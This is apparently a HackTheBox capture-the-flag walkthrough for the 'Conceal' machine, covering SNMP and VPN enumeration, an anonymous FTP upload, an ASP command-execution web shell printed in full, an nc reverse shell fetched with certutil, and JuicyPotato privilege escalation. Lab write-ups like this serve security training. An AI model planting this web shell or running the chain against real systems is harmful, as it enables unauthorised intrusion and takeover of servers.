
HackTheBox – Conceal

Summary

• Discovered VPN password stored in SNMP, this was easily cracked.
• The cracked password was used to create a new VPN connection to the server.
• Discovered FTP share has write access from anonymous logins, this share was also available

via the HTTP server running on port 80.
• The HTTP server can execute .asp files, this was abused to gain RCE.
• Used RCE to gain a reverse shell as the user – Destitute.
• Destitute as SeImpersonatePrivileges enabled, this can easily be abused to escalate 

privileges to the system account.
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Recon

I began as usual by adding 10.10.10.116 to /etc/hosts as conceal.htb.
This was followed up by several port scans, initially scanning for open TCP ports returns just 
filtered ports. I tried several firewall evasion techniques with no success whilst a UDP port scan was
running. The UDP scan revealed a lot of open|filtered ports, along with 2 open ports – 161 and 500 
running SNMP & IKE.

Port 500 is used by the Internet key exchange (IKE) that occurs during the establishment of 
secure VPN tunnels.

It is possible to enumerate SNMP using snmpwalk with the default community string. This nets a 
password hash for the VPN service. Alongside this there are also what appear to be ports listening 
internally.
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Connection to VPN

The password is easily cracked using JtR and revealed as Dudecake1!

We can use ike-scan to enumerate port 500. This returns the encryption method which can be used 
to create a new key to access the VPN.

In order to connect I installed strongswan (apt-get install strongswan). I then modified the the 
config files – ipsec.secrets & ipsec.conf.

Ipsec.secrets essentially contains the password to connect to the VPN.

Ipsec.conf contains the information to create the connection, the results from ike-scan can be used 
to create this config.
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Next restarting the ipsec service allows a successful connection to the server.

Recon 2

With a connection to the VPN it is possible to scan the TCP ports on the server using a TCP connect
scan (-sT).
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# Nmap 7.80 scan initiated Fri Jan 22 10:43:41 2021 as: nmap -sT -sV -sC 
-p21,80,135,139,445,49664,49665,49666,49667,49668,49669,49670 -oN nmap.txt conceal.htb
Nmap scan report for conceal.htb (10.10.10.116)
Host is up (0.033s latency).

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 8m01s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-01-22T15:52:42
|_  start_date: 2021-01-22T14:30:57

FTP allows anonymous access with write permissions, this is proven by writing a file to the share.
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The webserver on port 80 appears to be the default IIS page.

Using dirb against the HTTP server nets one return - /upload.

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

OUTPUT_FILE: dirb.txt
START_TIME: Sun Jan 24 04:19:36 2021
URL_BASE: http://conceal.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://conceal.htb/ ----
==> DIRECTORY: http://conceal.htb/upload/

Checking this directory shows that files uploaded via FTP are accessible here.
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FootHold

I created an aspx reverse shell using msfvenom and uploaded it via FTP.

Attempting to access the aspx file is unsuccessful as the extension is not supported by the server.

The server can however execute .asp files, I used the following script to exploit this:

<%
Set rs = CreateObject("WScript.Shell")

Set cmd = rs.Exec(Request.Querystring("cmd"))
o = cmd.StdOut.Readall()

Response.write(o)
%>

7
@driggzzzz

Conceal Writeup HTB



I uploaded the .asp script via FTP.

Attempting a simple whoami command confirms code execution.

I hosted a copy of nc.exe via python http.server.

I then used certutil to download nc.exe to the server, I wrote to 
C://Windows/system32/spool/drivers/color, this directory normally has fairly lax permissions.

I then used nc to spawn a reverse connection back to my machine, successfully granting a session as
the user – destitute.
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Privilege Escalation - Administrator

Viewing Destitutes permissions we can see they have SeImpersonatePrivilege enabled.

This means there is a potential privilege escalation vector via JuicyPotato. I  downloaded 
JuicyPotato.exe and transferred it to the server.

https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe

Created a batch script to call nc.exe and connect to my machine with a cmd.exe session.
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For the exploit to work I needed a different CLSID as the default wasn't working, systeminfo will 
give the OS version.

CLSID's for Windows 10 Enterprise can be found here:
http://ohpe.it/juicy-potato/CLSID/Windows_10_Enterprise/

I used the CLSID for wuauserv, this is the windows update service and should be available on pretty
much any machine.

I set up a listener and ran the exploit.

This created a session with system privileges.
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